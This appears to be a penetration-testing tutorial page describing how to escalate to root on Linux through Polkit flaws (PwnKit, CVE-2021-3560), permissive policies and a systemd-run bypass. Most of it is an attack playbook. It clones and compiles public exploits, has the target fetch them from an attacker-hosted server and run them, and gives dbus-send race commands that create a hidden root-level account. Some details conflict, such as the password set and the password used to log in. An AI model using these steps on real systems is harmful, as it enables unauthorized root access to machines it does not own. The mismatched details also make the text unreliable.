Skip to content
HackIndex logo

HackIndex

Polkit Local Privilege Escalation – PwnKit and CVE-2021-3560

5 min read Jul 14, 2026

Polkit (PolicyKit) is an authorization framework present by default on Ubuntu, Debian, RHEL, Fedora, and virtually every Linux desktop and most servers. Two major CVEs — PwnKit (CVE-2021-4034) and a D-Bus race condition (CVE-2021-3560) — allow any local user to escalate to root with no sudo permissions required. Both are pre-authentication from a local user perspective.

Prerequisites Check

Confirm Polkit is installed and pkexec is SUID:

┌──(kali㉿kali)-[~]
└─$ which pkexec
┌──(kali㉿kali)-[~]
└─$ ls -la /usr/bin/pkexec
┌──(kali㉿kali)-[~]
└─$ systemctl status polkit 2>/dev/null || systemctl status packagekit 2>/dev/null

Check exact version — this determines which CVE applies:

┌──(kali㉿kali)-[~]
└─$ pkexec --version
 
┌──(kali㉿kali)-[~]
└─$ # Debian/Ubuntu
┌──(kali㉿kali)-[~]
└─$ dpkg -l policykit-1 2>/dev/null | grep ^ii
┌──(kali㉿kali)-[~]
└─$ dpkg -l polkit 2>/dev/null | grep ^ii
 
┌──(kali㉿kali)-[~]
└─$ # RHEL/CentOS/Fedora
┌──(kali㉿kali)-[~]
└─$ rpm -qa polkit

Version-to-vulnerability mapping:

Distro

Vulnerable versions

CVE

Ubuntu 20.04

polkit < 0.105-26ubuntu1.2

CVE-2021-4034

Ubuntu 18.04

polkit < 0.105-20ubuntu0.18.04.6

CVE-2021-4034

Debian 10

polkit < 0.105-25+deb10u1

CVE-2021-4034

Debian 11

polkit < 0.105-33

CVE-2021-4034

RHEL 7/8

polkit < 0.115-13.el8_5.1

CVE-2021-4034

Ubuntu 20.04

polkit < 0.105-26ubuntu1.1

CVE-2021-3560

CVE-2021-4034 — PwnKit

Affected: All pkexec versions before January 2022 patches — essentially every Linux system running polkit for the past 12 years.

A memory corruption vulnerability in pkexec. It mishandles the argc=0 argument count edge case, causing it to read from envp as if it were argv, allowing an attacker to inject environment variables that control which shared library gets loaded. Results in root code execution. Extremely reliable — does not require specific kernel version, filesystem, or configuration.

Quick Verification

┌──(kali㉿kali)-[~]
└─$ # If vulnerable: outputs segfault or nothing
┌──(kali㉿kali)-[~]
└─$ # If patched: outputs usage string
┌──(kali㉿kali)-[~]
└─$ pkexec 2>&1 | head -1

A cleaner check:

┌──(kali㉿kali)-[~]
└─$ dpkg -l policykit-1 2>/dev/null | awk '/^ii/{print $3}'
┌──(kali㉿kali)-[~]
└─$ # Compare against patched versions above

Exploit — Blasty PoC (Simplest)

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/berdav/CVE-2021-4034
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-4034
┌──(kali㉿kali)-[~]
└─$ make
 
┌──(kali㉿kali)-[~]
└─$ # Transfer to target (see transfer methods at https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools)
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
 
┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ wget http://$LHOST:8080/cve-2021-4034
┌──(kali㉿kali)-[~]
└─$ chmod +x cve-2021-4034
┌──(kali㉿kali)-[~]
└─$ ./cve-2021-4034

Root shell drops immediately. No configuration required.

Exploit — Single-File C Version (No git required)

When the target has no internet access and you need a minimal transfer:

┌──(kali㉿kali)-[~]
└─$ # On attack box — download single exploit file
┌──(kali㉿kali)-[~]
└─$ wget https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
 
┌──(kali㉿kali)-[~]
└─$ # Compile
┌──(kali㉿kali)-[~]
└─$ gcc -o pwnkit cve-2021-4034-poc.c
 
┌──(kali㉿kali)-[~]
└─$ # Transfer and run on target
┌──(kali㉿kali)-[~]
└─$ chmod +x pwnkit
┌──(kali㉿kali)-[~]
└─$ ./pwnkit

Exploit — Python Version (No gcc required)

When gcc is absent on the target:

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ wget https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py
 
┌──(kali㉿kali)-[~]
└─$ # Transfer and run on target
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-4034.py

CVE-2021-3560 — D-Bus Race Condition

Affected: Specific Ubuntu versions — Ubuntu 20.04 with polkit < 0.105-26ubuntu1.1, and RHEL 8 with polkit < 0.115-13.el8_5.1.

A race condition in how Polkit handles D-Bus connections that disconnect before the authorization check completes. By killing a dbus-send call at exactly the right moment, Polkit falls back to allowing the action as root. This predates PwnKit and is less reliable (race-dependent) but works on different affected versions.

Check Version

┌──(kali㉿kali)-[~]
└─$ # Ubuntu — check if vulnerable
┌──(kali㉿kali)-[~]
└─$ dpkg -l policykit-1 | grep ^ii
┌──(kali㉿kali)-[~]
└─$ # Vulnerable: 0.105-26ubuntu1 (without .1 suffix)

Exploit — Automated Race

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/hakivvi/CVE-2021-3560
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-3560
 
┌──(kali㉿kali)-[~]
└─$ # Transfer exploit.sh to target
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080
 
┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ wget http://$LHOST:8080/exploit.sh
┌──(kali㉿kali)-[~]
└─$ chmod +x exploit.sh
┌──(kali㉿kali)-[~]
└─$ ./exploit.sh

The script loops sending a dbus-send for account creation while simultaneously killing it at varying timing intervals. Typically succeeds within 10-30 seconds.

Manual Race (Understanding the Technique)

The exploit sends a D-Bus call to create a privileged user account, then kills it partway through:

┌──(kali㉿kali)-[~]
└─$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:"newroot" string:"root" int32:1 & sleep 0.005s ; kill $!

If the timing hits the race window, a user is created. Then set its password:

┌──(kali㉿kali)-[~]
└─$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLOuwdBsq10R6J0lIiW3lxbKMkBaKP.' string:'GoldenRatioIsNotAnInteger' & sleep 0.005s ; kill $!

Then authenticate:

┌──(kali㉿kali)-[~]
└─$ su newroot
┌──(kali㉿kali)-[~]
└─$ # password: roooot

Permissive Policy Files

Custom or third-party Polkit policies sometimes grant unauthenticated access to dangerous actions:

┌──(kali㉿kali)-[~]
└─$ # Check for any policy granting allow_any = yes
┌──(kali㉿kali)-[~]
└─$ grep -r "allow_any.*yes\|<allow_any>yes" /usr/share/polkit-1/actions/ 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # List all custom/third-party policies (not org.freedesktop)
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/polkit-1/actions/ | grep -v "^org.freedesktop\|^org.gnome\|^org.debian"

If allow_any is yes on a dangerous action (service management, package install, user creation), trigger it directly via pkexec or the associated D-Bus method without authentication.

Check local override rules which can be more permissive than system defaults:

┌──(kali㉿kali)-[~]
└─$ ls /etc/polkit-1/rules.d/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/polkit-1/rules.d/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /etc/polkit-1/localauthority.conf.d/*.conf 2>/dev/null

systemd-run Bypass (Misconfigured Environments)

On some systems, systemd-run triggers Polkit authorization that is misconfigured to allow unprivileged users:

┌──(kali㉿kali)-[~]
└─$ systemd-run --no-ask-password -t /bin/bash

If this drops a root shell, Polkit policy for org.freedesktop.systemd1.manage-units is too permissive.

References